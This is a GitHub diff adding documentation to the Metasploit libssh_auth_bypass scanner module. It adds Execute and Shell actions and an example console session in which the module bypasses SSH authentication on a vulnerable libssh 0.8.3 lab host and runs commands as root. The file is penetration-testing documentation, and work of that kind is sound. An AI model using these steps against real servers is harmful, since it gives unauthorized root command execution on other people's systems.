File tree Expand file tree Collapse file tree 1 file changed +29
-1
lines changed
documentation/modules/auxiliary/scanner/ssh Expand file tree Collapse file tree 1 file changed +29
-1
lines changed Original file line number Diff line number Diff line change @@ -20,13 +20,22 @@ additional code paths to be followed.
20
20
4 . Follow the steps in ` INSTALL ` to build libssh
21
21
5 . Run ` build/examples/ssh_server_fork ` (I like to ` strace ` it)
22
22
23
+ ## Actions
24
+
25
+ ```
26
+ Name Description
27
+ ---- -----------
28
+ Execute Execute a command
29
+ Shell Spawn a shell
30
+ ```
31
+
23
32
## Options
24
33
25
34
** CMD**
26
35
27
36
Set this to a command you want to execute in lieu of a standard shell
28
37
session. An ` exec ` channel request will be sent instead of a ` shell `
29
- request.
38
+ request. This can also be used to choose an alternative shell.
30
39
31
40
** SPAWN_PTY**
32
41
76
85
#
77
86
```
78
87
88
+ Positive testing of shell commands using the ` Execute ` action:
89
+
90
+ ```
91
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
92
+ action => Execute
93
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
94
+ cmd => id; uname -a
95
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
96
+
97
+ [*] 172.28.128.3:2222 - Attempting authentication bypass
98
+ [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
99
+ [*] 172.28.128.3:2222 - Executed: id; uname -a
100
+ uid=0(root) gid=0(root) groups=0(root)
101
+ Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
102
+ [*] Scanned 1 of 1 hosts (100% complete)
103
+ [*] Auxiliary module execution completed
104
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
105
+ ```
106
+
79
107
Negative testing against patched libssh 0.8.4:
80
108
81
109
```
You can’t perform that action at this time.
0 commit comments